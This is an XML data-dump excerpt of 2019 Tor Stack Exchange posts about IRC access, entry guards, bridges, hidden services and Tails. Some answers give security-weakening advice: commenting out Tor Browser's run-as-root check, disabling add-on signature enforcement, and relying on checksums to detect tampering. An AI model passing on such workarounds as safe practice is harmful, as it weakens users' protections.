  <row Id="19767" PostTypeId="1" AcceptedAnswerId="19790" CreationDate="2019-04-25T21:16:10.973" Score="1" ViewCount="417" Body="&lt;p&gt;I am new to the TOR network, and I want to get a good working knowledge of TOR so I can volunteer and contribute to some of the projects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I cannot seem to join the #tor-dev channel. I have joined the #tor channel and that seems to work fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I joined #tor was using OFTC:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://www.oftc.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.oftc.net/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But when I try and enter #tor-dev in the top right box and join using my username (which I previously registered), I cannot see any other user or discussion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="26788" LastActivityDate="2019-05-01T19:36:29.840" Title="How do I join the #tor-dev IRC channel" Tags="|development|chat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19769" PostTypeId="1" CreationDate="2019-04-26T01:35:17.067" Score="2" ViewCount="611" Body="&lt;p&gt;Could Java somehow identify me? Should I uninstall Java from my computer if I want to use the Tor browser anonymously? &lt;/p&gt;&#xA;" OwnerUserId="26790" LastEditorUserId="88" LastEditDate="2019-05-01T07:14:35.440" LastActivityDate="2019-05-16T19:27:16.620" Title="Is it safe to have Java installed in my computer if I'm using the Tor browser?" Tags="|anonymity|security|java|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19775" PostTypeId="2" ParentId="17938" CreationDate="2019-04-27T08:51:45.127" Score="1" Body="&lt;p&gt;This site and many others show advertisement. The task of Tor Browser is to make sure that those sites can't access your information. So they can't access cookies which come from other tabs or sessions. So using Tor Browser strengthens your anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you close the browser and re-enter the website, it looks a new visitor went to the site. This is because the site has no information about former sessions and cookies.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2019-04-27T08:51:45.127" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19776" PostTypeId="2" ParentId="4160" CreationDate="2019-04-27T09:02:38.287" Score="1" Body="&lt;p&gt;I'll summarize the discussion from the comments and the &lt;a href=&quot;https://chat.stackexchange.com/rooms/17373/discussion-between-shirish-and-jobiwan&quot;&gt;chat&lt;/a&gt; here:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The original poster had a system-wide installation of Tor in their Debian system and furthermore installed a Tor Browser.&lt;/li&gt;&#xA;&lt;li&gt;The system-wide &lt;code&gt;torrc&lt;/code&gt; which lives in &lt;code&gt;/etc/tor&lt;/code&gt; is different from the one which Tor Browser uses. The configuration from the Tor Browser usually lives inside its installation directory.&lt;/li&gt;&#xA;&lt;li&gt;The OP edited the file &lt;code&gt;/etc/tor/torrc&lt;/code&gt;, but started the Tor Browser. So the changes had no effect here, because the Tor Browser doesn't look into this file.&lt;/li&gt;&#xA;&lt;li&gt;When the OP changed the configuration from Tor Browser it replied with an error message (see below).&lt;/li&gt;&#xA;&lt;li&gt;This was because there is &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#Log&quot; rel=&quot;nofollow noreferrer&quot;&gt;no severity level called &lt;code&gt;trace&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Error message after editing the right file:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;23 02:42:59.150 [notice] Read configuration file &quot;/home/XXX/.local/share/torbrowser/tbb/x86_64/tor-browser_en-US/Data/Tor/torrc&quot;. &lt;br /&gt;&#xA;  Sep 23 02:42:59.153 [warn] Couldn't parse log levels in Log option 'Log trace file ~/torlogs/trace.log'  &lt;br /&gt;&#xA;  Sep 23 02:42:59.153 [warn] Failed to parse/validate config: Failed to validate Log options. See logs for details. &lt;br /&gt; &#xA;  Sep 23 02:42:59.153 [err] Reading config failed--see warnings above. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So to get rid of this error it was important to &lt;em&gt;edit the right file&lt;/em&gt; and to use configuration variables which are &lt;em&gt;documented.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="14997" LastEditDate="2019-05-12T20:36:53.447" LastActivityDate="2019-05-12T20:36:53.447" CommentCount="0" CommunityOwnedDate="2019-04-27T09:02:38.287" ContentLicense="CC BY-SA 4.0" />
  <row Id="19778" PostTypeId="2" ParentId="6743" CreationDate="2019-04-27T19:48:30.843" Score="0" Body="&lt;p&gt;Tor doesnt allow to be run in root user if you need to run it under root user than modify the start-tor-browser script which in kali linu is present in&#xA; &lt;code&gt;/home/.local/share/torbrowser/tbb/x86_64/tor-browwser_en-US/Browser&lt;/code&gt; and comment the lines&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#if [ &quot;`id -u`&quot; -eq 0 ]; then&#xA;#   complain &quot;The Tor Browser Bundle should not be run as root.  Exiting.&quot;&#xA;#   exit 1&#xA;#fi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;save it and run it from command line &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./start-tor-browser&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26804" LastActivityDate="2019-04-27T19:48:30.843" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19779" PostTypeId="1" CreationDate="2019-04-27T20:16:18.607" Score="0" ViewCount="119" Body="&lt;p&gt;Since 1 week I can not launch tor I looked a lot of forum but none really talk about my problem, when I run it said unexpectedly exited tor ..... I tried bridges and proxy it does not work so I put my log&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;4/27/19, 20:05:31.548 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;4/27/19, 20:05:31.548 [WARN] You specified a public address '85.237.46.168:9999' for SocksPort. Other people on the Internet might find your computer and use it as an open proxy. Please don't allow this unless you have a good reason. &#xA;4/27/19, 20:05:31.548 [NOTICE] Opening Socks listener on 85.237.46.168:9999 &#xA;4/27/19, 20:05:31.548 [WARN] Could not bind to 85.237.46.168:9999: Cannot assign requested address [WSAEADDRNOTAVAIL ] &#xA;4/27/19, 20:05:31.548 [WARN] Controller gave us config lines that didn't validate: Failed to bind one of the listener ports. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope someone understands the problem because it's really been a week that I look everywhere and that either I can not find anything or nothing works&lt;/p&gt;&#xA;" OwnerUserId="26805" LastEditorUserId="88" LastEditDate="2019-04-27T21:18:20.617" LastActivityDate="2019-04-27T21:18:20.617" Title="tor does not work anymore" Tags="|tor-browser-bundle|configuration|network-configuration|socks|connection|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19780" PostTypeId="1" CreationDate="2019-04-28T00:14:46.407" Score="0" ViewCount="10" Body="&lt;p&gt;I'm operating a tor (guard) relay and I have currently, as per the manual, capped the bandwidth rate and bandwidth burst to allow me to also use my internet connection without any notable performance decrease. This is however not required when I'm asleep or not using the internet connection actively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to allow tor to use more bandwidth during certain hours of the day, and switch to the more strict rate and burst limits during regular hours?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose one solution is to have an automated job deal with modifying the torrc file and restarting tor, but I'm hoping there exists some smart way to achieve the same, other than home-made scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for reading!&lt;/p&gt;&#xA;" OwnerUserId="459" LastActivityDate="2019-04-28T00:14:46.407" Title="Is there a way to change the relay BandwidthRate and -Burst options during the night?" Tags="|relays|bandwidth|" AnswerCount="0" CommentCount="2" ClosedDate="2019-04-30T23:14:47.400" ContentLicense="CC BY-SA 4.0" />
  <row Id="19781" PostTypeId="1" CreationDate="2019-04-28T00:47:26.107" Score="0" ViewCount="516" Body="&lt;p&gt;I installed Tor Browser a week ago.&#xA;I use it first and when I can't go on specific websites, I use Firefox.&#xA;I also have other apps and software using internet on my computer.&#xA;Since 2 days, now, for no apparent reasons, I haven't changed anything, I can access Internet only through Tor Browser. Nothing else is working.&#xA;All the other browsers, apps, software ask me to connect my computer to Internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help me by telling me how can I fix that?&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="26807" LastActivityDate="2021-08-21T16:51:43.363" Title="Internet works only with Tor Browser nothing else (Mozilla, other apps) using Windows" Tags="|tor-browser-bundle|windows|firefox|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19784" PostTypeId="1" CreationDate="2019-04-29T20:04:31.843" Score="3" ViewCount="591" Body="&lt;p&gt;Censorship to the tor network is an option as the ISPs can detect an attempt of connection to one of the known tor nodes, as these are public.&#xA;But if I as a user of the tor network can gain access to the ip addresses of the bridges how comes that the ISPs \ companies who makes the censorship cant?&#xA;As i understand it, when using a bridge the packets should go through an additional station which is the bridge, which makes the bridge the &quot;entry node&quot;, which means that my ISPs can see that i try to talk to an ip address which is a bridge and block me the same way they do with the normal tor relays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how does the bridges keep themselves undetected from censorship?&lt;/p&gt;&#xA;" OwnerUserId="20493" LastActivityDate="2020-08-08T19:30:16.767" Title="Tor bridges and how they avoid censorship" Tags="|bridge|censorship|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19786" PostTypeId="1" AcceptedAnswerId="19800" CreationDate="2019-05-01T03:03:18.517" Score="0" ViewCount="363" Body="&lt;p&gt;XP is light and IMO just as fast browsing the internet then any later OS. Is there anything about Tor browser that doesn't work on XP home then a newer OS? What patches will I need if any?&lt;/p&gt;&#xA;" OwnerUserId="26823" LastEditorUserId="26823" LastEditDate="2019-05-13T17:54:48.513" LastActivityDate="2019-05-13T17:54:48.513" Title="Tor fuctionality on XP home service pack 2" Tags="|configuration|windows|vpn|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19787" PostTypeId="1" CreationDate="2019-05-01T03:59:17.483" Score="0" ViewCount="155" Body="&lt;p&gt;I bought a USB flash drive with Tails already installed. If I suspect the Tor software has been altered to reduce my anonymity, how do I check the authenticity of the Tor software on Tails?&lt;/p&gt;&#xA;" OwnerUserId="26825" LastActivityDate="2022-02-14T06:00:50.073" Title="Tor software authenticity check on Tails USB" Tags="|tails|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19788" PostTypeId="2" ParentId="15889" CreationDate="2019-05-01T10:07:15.917" Score="0" Body="&lt;p&gt;As I've searched &lt;a href=&quot;https://www.freedownloadmanager.org/blog/?p=468&quot; rel=&quot;nofollow noreferrer&quot;&gt;HERE&lt;/a&gt;, currently FDM does not support SOCKs proxy and it is their TODO list. Therefore you should use some external applications for tunneling the system traffic through TOR (or a specific program) such as &lt;a href=&quot;https://www.proxifier.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Proxifier&lt;/a&gt;. You can run TOR browser in order to run the SOCKs proxy on your system, then add the proxy server to Proxifier as below.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/GbvjD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GbvjD.png&quot; alt=&quot;Proxifier Server Setting&quot;&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can add a rule to tunnel FDM traffic through the proxy, as below:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/52rct.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/52rct.png&quot; alt=&quot;Proxifier Rules&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, Proxifier is not free. You can see list of alternative programs in &lt;a href=&quot;https://alternativeto.net/software/proxifier/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this link&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="19920" LastActivityDate="2019-05-01T10:07:15.917" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19789" PostTypeId="2" ParentId="16605" CreationDate="2019-05-01T15:30:10.800" Score="0" Body="&lt;p&gt;The short answer:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Connect TOR after connected to VPN = Home --&gt; VPN server --&gt; TOR&lt;/li&gt;&#xA;&lt;li&gt;Set proxy for VPN = Home --&gt; TOR --&gt; VPN server&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;More information can be found here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tor.stackexchange.com/a/19728/19920&quot;&gt;Is it recommended that we use a VPN along with Tor?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://mstajbakhsh.ir/vpn-or-tor-this-is-the-problem/&quot; rel=&quot;nofollow noreferrer&quot;&gt;VPN or TOR? This is the Problem&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4Plxr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4Plxr.png&quot; alt=&quot;VPN Through TOR&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19920" LastActivityDate="2019-05-01T15:30:10.800" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19790" PostTypeId="2" ParentId="19767" CreationDate="2019-05-01T16:33:14.480" Score="1" Body="&lt;p&gt;Usually the best way to join IRC is by using an own client. Here you can save your settings and easily join. However when you want to use the &lt;a href=&quot;https://webchat.oftc.net/?channels=%23tor-dev&amp;amp;uio=d4&quot; rel=&quot;nofollow noreferrer&quot;&gt;Webchat&lt;/a&gt; you also need to be identified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So after you entered your nickname and #tor-dev as a channel the chat window opens. On the last line you enter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/msg NickServ IDENTIFY YourPassword&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When you have entered it and the password is correct, you can enter the channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However sometimes the channel is locked. In some cases nobody can enter the channel. So here you need to wait for some hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor also has a &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/org/onboarding/IRC&quot; rel=&quot;nofollow noreferrer&quot;&gt;document which guides you through the first steps&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2019-05-01T19:36:29.840" LastActivityDate="2019-05-01T19:36:29.840" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19792" PostTypeId="1" CreationDate="2019-05-01T22:41:31.720" Score="1" ViewCount="158" Body="&lt;p&gt;I am on Windows 10 with TBB version 8.0.8. I extracted the bundle to my desktop and used it form there for some time (Computer A). Of note, I created some bookmarks. I then moved the TBB folder to a removable drive. When I insert that drive into another computer (Computer B) and run the TBB, the bookmarks I created are not present. Furthermore, and of concern, when I reinsert that drive into the computer that originally had TBB on the desktop (Computer A), the bookmarks are again present. This indicated to me that the current TBB is storing this information on the local machine outside of the install folder. I Would like to know where this data is stored so I may remove it. &lt;/p&gt;&#xA;" OwnerUserId="26829" LastActivityDate="2019-05-16T20:05:21.143" Title="Bookmark Removal" Tags="|tor-browser-bundle|security|windows|help|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19794" PostTypeId="1" AcceptedAnswerId="19798" CreationDate="2019-05-02T17:00:26.547" Score="0" ViewCount="395" Body="&lt;p&gt;I have followed a few tutorials on setting up the Tor service. For some reason I can't get it on line.&lt;/p&gt;&#xA;" OwnerUserId="26833" LastActivityDate="2019-05-05T07:12:15.407" Title="Problem with hidden service on raspberry Pi" Tags="|tor-install|raspberry-pi|" AnswerCount="1" CommentCount="3" ClosedDate="2019-05-19T21:12:44.060" ContentLicense="CC BY-SA 4.0" />
  <row Id="19795" PostTypeId="1" CreationDate="2019-05-02T20:44:05.383" Score="1" ViewCount="885" Body="&lt;p&gt;I have an already running https website and I would like to also have a full functioning (with logins) mirror of it. I have read about EOTK and Onionize but I am not quite sure about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running on Ubuntu 18.04 and Nginx.&lt;/p&gt;&#xA;" OwnerUserId="26836" LastActivityDate="2019-05-02T20:44:05.383" Title="How to create a mirror of a clearnet website?" Tags="|onion-routing|mirrors|" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="19796" PostTypeId="1" CreationDate="2019-05-03T05:58:33.387" Score="0" ViewCount="28" Body="&lt;p&gt;I was browsing with TOR and I had a second USB drive plugged into the computer, I have previously saved data to that drive in other sessions but I did not write anything to the second USB during the last session when it crashed.  I may have accessed the second drive but I’m unsure.  When I restarted Tails the second drive shows as encrypted and I can’t access it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why has the second drive been encrypted and how do I get the data back from that USB drive?  The drive is not normally encrypted, it’s just a drive I use to transfer data between machines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does Tails do some sort of encryption on any drive you access?  Do you lose all your data in an access device if Tails crashes?&lt;/p&gt;&#xA;" OwnerUserId="26838" LastActivityDate="2019-05-03T05:58:33.387" Title="TOR crashed and left other USB thumb drive encrypted" Tags="|security|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19798" PostTypeId="2" ParentId="19794" CreationDate="2019-05-03T06:51:57.420" Score="2" Body="&lt;p&gt;There may be several error due to the configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) run tor in terminal. Check the output. If it says cannot bind tor, there may be another instance of tor is running. try stop the tor service by:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo service stop tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2) After running tor successfully, check what configuration file is read by tor. Maybe you have edited the wrong configuration file. These two files are the common files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/etc/tor/torrc&#xA;&#xA;/var/lib/tor/torrc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should add these two lines to the torrc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir THE_DIRECTORY_FOR_PRIVATEKEY_AND_HOSTNAME&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which first lines indicated the directory name for your hidden service (private key and host name), the second line indicates the binding, for example, every connection to port 80 of your hidden service will be forwarded to 127.0.0.1:80.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Make sure that your hidden server is running, For example if you have configured a hidden web service at port 80 (127.0.0.1:80), be sure that the web server is running and is available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any further information will help to solve your problem.&lt;/p&gt;&#xA;" OwnerUserId="19920" LastActivityDate="2019-05-03T06:51:57.420" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19799" PostTypeId="1" CreationDate="2019-05-03T10:01:28.547" Score="0" ViewCount="373" Body="&lt;p&gt;Can somebody explain to me what is the difference between Duck Duck Go and Tor Browsers? And if I install one I have to uninstall the other?&lt;/p&gt;&#xA;" OwnerUserId="26841" LastActivityDate="2019-05-03T10:01:28.547" Title="Difference between Duck and Tor" Tags="|support|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19800" PostTypeId="2" ParentId="19786" CreationDate="2019-05-03T13:58:27.747" Score="2" Body="&lt;p&gt;What about trying the operating system called &quot;Tails&quot; on a live usb drive? It works with older hardware too. You can save XP on the computer. Nothing happens and anything you do will not be saved on the computer.&lt;/p&gt;&#xA;" OwnerUserId="26833" LastActivityDate="2019-05-03T13:58:27.747" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19802" PostTypeId="1" CreationDate="2019-05-03T21:20:40.977" Score="4" ViewCount="739" Body="&lt;p&gt;Immediately after downloading the Tor browser I went to the options page and saw that the 'Block dangerous and deceptive content' box under 'Deceptive Content and Dangerous Software Protection' was not ticked. Is this the default setup? Would ticking the box cause a problem with the Tor browser?&lt;/p&gt;&#xA;" OwnerUserId="26843" LastEditorUserId="88" LastEditDate="2021-05-25T08:33:45.740" LastActivityDate="2021-05-25T08:33:45.740" Title="Why is &quot;Block dangerous and deceptive content&quot; not active?" Tags="|tor-browser-bundle|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19803" PostTypeId="1" CreationDate="2019-05-04T05:14:34.100" Score="2" ViewCount="462" Body="&lt;p&gt;Noscript is completely disabled/turned off in Tor 8.0.8 and there is no way to turn it back on. I have tried reinstalling. If I try to install any version of Noscript on the firefox addon store, Tor blocks it as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On ADDONS the default Noscript 10.2.4 is put under &quot;Unsupported&quot; and gives the message &quot;Noscript could not be verified for use in Tor Browser and has been disabled&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the problem here?&lt;/p&gt;&#xA;" OwnerUserId="26846" LastEditorUserId="88" LastEditDate="2019-05-04T12:05:34.590" LastActivityDate="2019-05-04T12:05:34.590" Title="Noscript DISABLED on tor 8.0.8" Tags="|firefox|noscript|certificate|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19806" PostTypeId="2" ParentId="19803" CreationDate="2019-05-04T12:05:16.197" Score="3" Body="&lt;p&gt;This is not really a problem with Tor, but within Firefox. One of the certificates which Firefox uses for signing of add-ons is expired. They write about it in their bugtracking system: &lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1548973&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bugzilla.mozilla.org/show_bug.cgi?id=1548973&lt;/a&gt;&#xA;Hopefully this will fixed within the next hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor also has the entry &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/30388&quot; rel=&quot;nofollow noreferrer&quot;&gt;#30388&lt;/a&gt; in their bug tracker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically we all have to wait for a fix from Firefox. A short time fix to enter &lt;code&gt;about:config&lt;/code&gt; into the URL bar and enter the settings. Look for the setting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xpinstall.signatures.required&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and set it to &lt;em&gt;false&lt;/em&gt;. After restarting Tor Browser (and other Firefox) browsers everything works again. However please make sure that this setting is reset after a fix from Firefox.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2019-05-04T12:05:16.197" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19807" PostTypeId="1" CreationDate="2019-05-04T20:23:57.220" Score="1" ViewCount="206" Body="&lt;p&gt;My first IP (entry point) is always 95.154.221.3. Should that not change at some point. I realize it will not change with each identity change, but should it not change after a certain period of time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Win XP Pro SP3 with Tor ver. 7.5.6 (based on Mozilla Firefox 52.9.0) (32 bit)&lt;/p&gt;&#xA;" OwnerUserId="26852" LastActivityDate="2019-06-05T17:01:40.247" Title="Why does Tor always use the same entry point 95.154.221.3" Tags="|exit-relays|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19810" PostTypeId="2" ParentId="19807" CreationDate="2019-05-05T09:04:43.310" Score="1" Body="&lt;p&gt;It is intended behavior that the entry guard remains the same over a certain amount of time (2-3 months). This is also stated in TBB (current version 8.0.8) below the button to get a new circuit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gfuxK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gfuxK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They also provide a link with a description and the reason. Here's part of it:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;That is normal Tor behavior. The first relay in your circuit is called an &quot;entry guard&quot; or &quot;guard&quot;. It is a fast and stable relay that remains the first one in your circuit for 2-3 months in order to protect against a known anonymity-breaking attack. The rest of your circuit changes with every new website you visit, and all together these relays provide the full privacy protections of Tor.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Final remark: You should update to the current Tor browser version and ditch Win XP.&lt;/p&gt;&#xA;" OwnerUserId="25426" LastEditorUserId="25426" LastEditDate="2019-05-06T16:30:52.453" LastActivityDate="2019-05-06T16:30:52.453" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19811" PostTypeId="2" ParentId="19807" CreationDate="2019-05-06T00:34:09.370" Score="0" Body="&lt;p&gt;I couldn't find that info re: &quot;entry guard&quot; anywhere in my version of 7.5.6.  Believe me, I looked.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long story short, I installed an older version, Tor 5, into another directory.  I found it had a different entry point than my 7.6 version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then installed two more 7.6 Tors into directories of their own. Each worked and had different entry points. I now have four versions of Tor, each with a different &quot;entry guard&quot; point. In other words, I now have a choice of four separate entry points depending which copy of Tor I choose to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not giving up on XP because I have many utilities and programs that do not work on Windows 7.  As far as ever &quot;upgrading&quot; to Win 10, I'll go Mac first.&lt;/p&gt;&#xA;" OwnerUserId="26855" LastActivityDate="2019-05-06T00:34:09.370" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19812" PostTypeId="2" ParentId="19802" CreationDate="2019-05-06T01:44:46.543" Score="1" Body="&lt;p&gt;That option is a Firefox option, not a TBB specific option&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I am aware of, it will harm nothing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, beware it is powered by Google Safe Browsing and Google is well known for their analytics, tracking, and general anti-privacy&lt;/p&gt;&#xA;" OwnerUserId="25283" LastActivityDate="2019-05-06T01:44:46.543" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19813" PostTypeId="2" ParentId="19784" CreationDate="2019-05-06T01:48:32.600" Score="1" Body="&lt;p&gt;You have a point that you &lt;em&gt;can&lt;/em&gt; gain access to it addresses of tor bridges. But not easily&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will notice there is no publicly available list of all bridges. You can only request 3 at a time from the Tor project site&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The primary defense against discovery is through obscurity: simply it is not worth the effort to try to find the potential thousands of bridges three at a time&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And some bridges are blocked. Trust me, I was in highschool once :-).&lt;/p&gt;&#xA;" OwnerUserId="25283" LastActivityDate="2019-05-06T01:48:32.600" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19814" PostTypeId="2" ParentId="19787" CreationDate="2019-05-06T01:51:35.710" Score="0" Body="&lt;p&gt;Use md5 and sha256 checksums, the way you'd verify any software authenticity. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Iirc on the download page it has the checksums&lt;/p&gt;&#xA;" OwnerUserId="25283" LastActivityDate="2019-05-06T01:51:35.710" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19815" PostTypeId="2" ParentId="19751" CreationDate="2019-05-06T02:00:12.850" Score="1" Body="&lt;p&gt;Generally with &quot;suggested&quot; packages you can safely ignore them&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are just packages that may be useful to you if you installed Tor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to install &lt;strong&gt;recommended&lt;/strong&gt; packages run (assuming you're on a Debian based distro or it has apt, otherwise refer to your package managers documentation):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;apt install &amp;lt;packagename&amp;gt; --install-recommends&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25283" LastActivityDate="2019-05-06T02:00:12.850" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
